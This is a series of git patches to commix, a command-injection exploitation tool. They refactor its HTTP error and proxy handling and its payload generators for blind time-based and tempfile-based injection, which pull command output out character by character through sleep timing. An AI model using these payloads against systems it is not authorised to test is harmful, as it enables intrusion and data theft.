AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "1"
+REVISION = "2"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6edf72d966d82d3b33ec6089d7ed7f2de9626335 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 4 Sep 2022 12:38:21 +0300
Subject: [PATCH 182/560] Fixes
https://github.com/commixproject/commix/issues/779
---
doc/CHANGELOG.md | 3 +++
src/core/main.py | 16 ++++++++++------
src/core/requests/headers.py | 1 +
src/core/requests/redirection.py | 4 ++--
src/utils/settings.py | 2 +-
5 files changed, 17 insertions(+), 9 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 05c16ad5ac..a24ce372df 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,3 +1,6 @@
+## Version 3.6 (TBA)
+* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
+
## Version 3.5 (2022-07-03)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding Windows-based payloads for every supported technique.
diff --git a/src/core/main.py b/src/core/main.py
index dc16fc24ef..7285106518 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -209,12 +209,16 @@ def examine_request(request, url):
reason = str(err_msg)
if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
print(settings.print_critical_msg(err_msg))
- elif menu.options.auth_type and menu.options.auth_cred:
- err_msg = "The provided pair of " + menu.options.auth_type
- err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
- err_msg += " seems to be invalid."
- err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
- err_msg += " in order to perform a dictionary-based attack."
+ else:
+ if menu.options.auth_type and menu.options.auth_cred:
+ err_msg = "The provided pair of " + menu.options.auth_type
+ err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
+ err_msg += " seems to be invalid."
+ err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
+ err_msg += " in order to perform a dictionary-based attack."
+ else:
+ err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")."
+ err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index dab16c0b3f..4843c25d74 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -186,6 +186,7 @@ def https_open(self, req):
print(settings.SINGLE_WHITESPACE)
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
+ settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index e3d0f5f940..213757bb15 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -90,10 +90,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
if settings.VALID_URL:
checks.connection_exceptions(err_msg, request)
else:
- pass
+ return url
except AttributeError:
- pass
+ return url
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index af0464170b..08909e0026 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "2"
+REVISION = "3"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6eccfb128190230516d3ac3d6eafb5ff4dcd2668 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 5 Sep 2022 07:59:32 +0300
Subject: [PATCH 183/560] Minor improvement regarding parsing HTTP request(s)
through HTTP proxy (i.e `--proxy` option).
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/controller.py | 4 +-
src/core/main.py | 43 +-------------
src/core/requests/proxy.py | 50 +++++------------
src/core/requests/requests.py | 59 ++++++++++++++++++++
src/utils/settings.py | 2 +-
6 files changed, 79 insertions(+), 80 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index a24ce372df..0115fbc2e6 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.6 (TBA)
+* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
## Version 3.5 (2022-07-03)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index c6b59dbdc9..e189028203 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -110,7 +110,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
headers.do_check(request)
response = requests.get_request_response(request)
- if type(response) is not bool:
+ if type(response) is not bool and response is not None:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
if match:
@@ -174,7 +174,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
headers.do_check(request)
response = requests.get_request_response(request)
- if type(response) is not bool:
+ if type(response) is not bool and response is not None:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
diff --git a/src/core/main.py b/src/core/main.py
index 7285106518..d123ca2c90 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -203,43 +203,7 @@ def examine_request(request, url):
raise SystemExit()
except Exception as err_msg:
- settings.VALID_URL = False
- reason = ""
- if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
- reason = str(err_msg)
- if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
- print(settings.print_critical_msg(err_msg))
- else:
- if menu.options.auth_type and menu.options.auth_cred:
- err_msg = "The provided pair of " + menu.options.auth_type
- err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
- err_msg += " seems to be invalid."
- err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
- err_msg += " in order to perform a dictionary-based attack."
- else:
- err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")."
- err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
- if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
- settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
- settings.NOT_FOUND_ERROR in str(err_msg).lower():
- reason = str(err_msg)
- if settings.MULTI_TARGETS:
- if len(reason) != 0:
- reason = reason + ". Skipping to the next target."
- print(settings.print_critical_msg(reason))
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
- return False
- else:
- err_msg = reason
- if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
- pass
- else:
- if len(err_msg) != 0:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ requests.request_failed(err_msg)
"""
Check internet connection before assessing the target.
@@ -294,14 +258,11 @@ def init_request(url):
settings.PARAMETER_DELIMITER = menu.options.pdel
request = _urllib.request.Request(url)
headers.do_check(request)
- # Check if defined any HTTP Proxy (--proxy option).
- if menu.options.proxy:
- proxy.do_check(url)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object."
print(settings.print_debug_msg(debug_msg))
# Used a valid pair of valid credentials
- if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL !=0 :
+ if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 :
debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type
debug_msg += " HTTP authentication credentials."
print(settings.print_debug_msg(debug_msg))
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index c2bac33ae2..6fbf680179 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -18,10 +18,23 @@
from src.utils import menu
from src.utils import settings
from src.core.requests import headers
+from src.core.requests import requests
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import http_client as _http_client
+"""
+Use the defined HTTP Proxy
+"""
+def use_proxy(request):
+ headers.do_check(request)
+ request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
+ try:
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ return response
+ except Exception as err_msg:
+ return requests.request_failed(err_msg)
+
"""
Check if HTTP Proxy is defined.
"""
@@ -33,41 +46,6 @@ def do_check(url):
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
request = _urllib.request.Request(url)
- headers.do_check(request)
- request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
- try:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- return response
- except (_urllib.error.URLError, _urllib.error.HTTPError, _http_client.BadStatusLine) as err:
- err_msg = "Unable to connect to the target URL or proxy."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
- except socket.timeout:
- err_msg = "The connection to target URL or proxy has timed out."
- print(settings.print_critical_msg(err_msg) + "\n")
- raise SystemExit()
-
-"""
-Use the defined HTTP Proxy
-"""
-def use_proxy(request):
- _ = True
- headers.do_check(request)
- request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
- try:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- return response
- except _urllib.error.HTTPError as err:
- if str(err.code) == settings.INTERNAL_SERVER_ERROR or str(err.code) == settings.BAD_REQUEST:
- return False
- else:
- _ = False
- except (_urllib.error.URLError, _http_client.BadStatusLine) as err:
- _ = False
- if not _:
- err_msg = "Unable to connect to the target URL or proxy."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
+ use_proxy(request)
# eof
\ No newline at end of file
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 85cf8f3008..315cc4eb99 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -331,6 +331,65 @@ def get_request_response(request):
raise SystemExit()
return response
+"""
+Exceptions regarding requests failure(s)
+"""
+def request_failed(err_msg):
+ try:
+ error_msg = str(err_msg.args[0]).split("] ")[1]
+ except IndexError:
+ try:
+ error_msg = str(err_msg.args[0])
+ except IndexError:
+ error_msg = str(err_msg)
+ if any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]):
+ err = "Unable to connect to "
+ if menu.options.proxy:
+ err += "proxy"
+ else:
+ err += "the target URL"
+ err = err + " (Reason: " + str(error_msg) + ")."
+ print(settings.print_critical_msg(err))
+ raise SystemExit()
+
+ settings.VALID_URL = False
+ reason = ""
+ if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ reason = str(err_msg)
+ if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
+ pass
+ else:
+ if menu.options.auth_type and menu.options.auth_cred:
+ err_msg = "The provided pair of " + menu.options.auth_type
+ err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
+ err_msg += " seems to be invalid."
+ err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
+ err_msg += " in order to perform a dictionary-based attack."
+ else:
+ err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")."
+ err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+ if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
+ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
+ settings.NOT_FOUND_ERROR in str(err_msg).lower():
+ reason = str(err_msg)
+ if settings.MULTI_TARGETS:
+ if len(reason) != 0:
+ reason = reason + ". Skipping to the next target."
+ print(settings.print_critical_msg(reason))
+ if settings.EOF:
+ print(settings.SINGLE_WHITESPACE)
+ return False
+ else:
+ err_msg = reason
+ if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ return True
+ else:
+ if len(err_msg) != 0:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 08909e0026..73983133a7 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "3"
+REVISION = "4"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From f9f926e6c36f7589d4e914d16e78fa24242c9978 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 7 Sep 2022 08:21:24 +0300
Subject: [PATCH 184/560] Minor update
---
src/core/requests/requests.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 315cc4eb99..b22a4bd401 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -375,7 +375,7 @@ def request_failed(err_msg):
settings.NOT_FOUND_ERROR in str(err_msg).lower():
reason = str(err_msg)
if settings.MULTI_TARGETS:
- if len(reason) != 0:
+ if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR:
reason = reason + ". Skipping to the next target."
print(settings.print_critical_msg(reason))
if settings.EOF:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 73983133a7..e8aa638e2e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "4"
+REVISION = "5"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 7a3d5dae26f41072a560147330ebac4cb99df473 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 10 Sep 2022 12:20:26 +0300
Subject: [PATCH 185/560] Minor update
---
src/core/injections/controller/checks.py | 12 +++++++++++-
src/core/tamper/sleep2timeout.py | 10 ++++------
src/core/tamper/sleep2usleep.py | 13 ++++++-------
src/utils/settings.py | 2 +-
4 files changed, 22 insertions(+), 15 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index aa14554b58..66ebcdf6cf 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1009,6 +1009,16 @@ def print_non_listed_params(check_parameters, http_request_method, header_name):
if menu.options.skip_parameter != None:
check_skipped_params(check_parameters)
+"""
+Only time-relative injection techniques support tamper
+"""
+def time_relative_tamper(tamper):
+ warn_msg = "All injection techniques, except for the time-relative ones, "
+ warn_msg += "do not support the '" + tamper + ".py' tamper script."
+ if menu.options.skip_heuristics:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_warning_msg(warn_msg))
+
"""
Lists available tamper scripts
"""
@@ -1370,7 +1380,7 @@ def check_for_stored_tamper(payload):
"""
def perform_payload_modification(payload):
for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
- # sleep to usleep
+ # sleep to timeout
if encode_type == 'sleep2timeout':
from src.core.tamper import sleep2timeout
payload = sleep2timeout.tamper(payload)
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index b2e9554e0b..b267fdf1ec 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -16,6 +16,7 @@
import sys
from src.utils import menu
from src.utils import settings
+from src.core.injections.controller import checks
"""
About: Uses "timeout" function for time-based attacks.
@@ -44,12 +45,9 @@ def sleep_to_timeout_ping(payload):
settings.EVAL_BASED_STATE != False or \
settings.FILE_BASED_STATE != False:
if settings.TRANFROM_PAYLOAD == None:
- settings.TRANFROM_PAYLOAD = False
- warn_msg = "All injection techniques, except for the time-relative ones, "
- warn_msg += "do not support the '" + __tamper__ + ".py' tamper script. Skipping."
- if menu.options.skip_heuristics:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_warning_msg(warn_msg))
+ if settings.TRANFROM_PAYLOAD == None:
+ checks.time_relative_tamper(__tamper__)
+ settings.TRANFROM_PAYLOAD = False
return payload
else:
settings.TRANFROM_PAYLOAD = True
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
index 5b1b4d3e2d..dedf255b3f 100644
--- a/src/core/tamper/sleep2usleep.py
+++ b/src/core/tamper/sleep2usleep.py
@@ -16,6 +16,7 @@
import sys
from src.utils import menu
from src.utils import settings
+from src.core.injections.controller import checks
"""
About: Replaces "sleep" with "usleep" command in the generated payloads.
@@ -45,15 +46,13 @@ def sleep_to_usleep(payload):
settings.EVAL_BASED_STATE != False or \
settings.FILE_BASED_STATE != False:
if settings.TRANFROM_PAYLOAD == None:
+ checks.time_relative_tamper(__tamper__)
settings.TRANFROM_PAYLOAD = False
- warn_msg = "All injection techniques, except for the time-relative ones, "
- warn_msg += "do not support the '" + __tamper__ + ".py' tamper script."
- if menu.options.skip_heuristics:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_warning_msg(warn_msg))
- return payload
+ return payload
else:
- return sleep_to_usleep(payload)
+ settings.TRANFROM_PAYLOAD = True
+ if settings.TRANFROM_PAYLOAD:
+ return sleep_to_usleep(payload)
else:
return payload
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e8aa638e2e..bdeb782513 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "5"
+REVISION = "6"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6ab2d255773398b90ceeeb64c2cdef81b7b5c382 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 11 Sep 2022 21:20:33 +0300
Subject: [PATCH 186/560] Update THANKS.md
---
doc/THANKS.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/doc/THANKS.md b/doc/THANKS.md
index f30098a9ba..44e0c582d9 100755
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -7,6 +7,7 @@
* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation.
## List of individual contributors:
+* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`).
* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
* Thanks [609496288](https://github.com/609496288) for reporting a bug.
* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug.
From 173b891276c7680a0d22bedaf72a44b01e5fca56 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 7 Oct 2022 12:31:20 +0300
Subject: [PATCH 187/560] Minor refactoring
---
.../techniques/time_based/tb_payloads.py | 111 ++---------------
.../techniques/tempfile_based/tfb_payloads.py | 113 ++----------------
src/utils/settings.py | 2 +-
3 files changed, 19 insertions(+), 207 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index 4976fa8bdf..b0caa1283a 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -44,7 +44,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
)
else:
- if separator == ";" :
+ if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
@@ -55,16 +55,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
"fi"
)
- elif separator == "%0a" :
- payload = (separator +
- "str=$(echo " + TAG + ")" + separator +
- # Find the length of the output.
- "str1=$(expr length \"$str\")" + separator +
- "if [ " + str(output_length) + " -ne $str1 ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi"
- )
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
@@ -118,18 +108,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
)
else:
- if separator == ";" :
- payload = (separator +
- # Find the length of the output, using readline().
- "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
- "if [ " + str(output_length) + " -ne ${str1} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a":
payload = (separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
@@ -199,7 +178,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
)
else:
- if separator == ";" :
+ if separator == ";" or separator == "%0a":
payload = (separator +
"str=\"$(echo $(" + cmd + "))\"" + separator +
#"str1=${%23str}" + separator +
@@ -210,19 +189,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"fi "
)
- elif separator == "%0a" :
- #separator = "\n"
- payload = (separator +
- "str=\"$(echo $(" + cmd + "))\"" + separator +
- # Find the length of the output.
- "str1=$(expr length \"$str\")" + separator +
- #"str1=${%23str}" + separator +
- "if [ " + str(output_length) + " -ne $str1 ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi "
- )
-
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
@@ -275,18 +241,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
)
else:
- if separator == ";" :
- payload = (separator +
- # Find the length of the output, using readline().
- "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
- "if [ " + str(output_length) + " -ne ${str1} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a":
payload = (separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
@@ -352,30 +307,14 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
)
else:
- if separator == ";" :
+ if separator == ";" or separator == "%0a" :
payload = (separator +
# Grab the execution output.
"cmd=\"$(echo $(" + cmd + "))\"" + separator +
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
- "str=$(printf %25d \"'$char'\")" + separator +
- # Perform the time-based comparisons
- "if [ " + str(ascii_char) + " -ne $str ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
- payload = (separator +
- # Grab the execution output.
- "cmd=\"$(echo $(" + cmd + "))\"" + separator +
- # Export char-by-char the execution output.
- "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
- # Transform from Ascii to Decimal.
- "str=$(printf %25d \"'$char'\")" + separator +
+ "str=$(printf '%d\\n' \"'$char'\")" + separator +
# Perform the time-based comparisons
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
@@ -393,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
- "str=$(printf %25d \"'$char'\")" + separator +
+ "str=$(printf '%d\\n' \"'$char'\")" + separator +
# Perform the time-based comparisons
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
@@ -441,17 +380,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
)
else:
- if separator == ";" :
- payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
@@ -518,17 +447,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
)
else:
- if separator == ";" :
- payload = (separator +
- "str=\"$(" + cmd + ")\"" + separator +
- "if [ " + str(ascii_char) + " -ne $str ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a":
payload = (separator +
"str=\"$(" + cmd + ")\"" + separator +
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
@@ -585,7 +504,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
- if separator == ";" :
+ if separator == ";" or separator == "%0a":
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
@@ -594,16 +513,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
"fi "
)
- elif separator == "%0a" :
- #separator = "\n"
- payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 93681e1dab..f68e0a11d8 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -49,21 +49,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
)
else:
- if separator == ";" :
- payload = (separator +
- "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
- "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
- # Find the length of the output.
- "str1=$(expr length \"$str\")" + separator +
- #"str1=${%23str}" + separator +
- "if [ " + str(j) + " -ne ${str1} ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
@@ -131,19 +117,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
- if separator == ";" :
- payload = (separator +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
- # Find the length of the output, using readline().
- "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
- "if [ " + str(j) + " -ne ${str1} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a" :
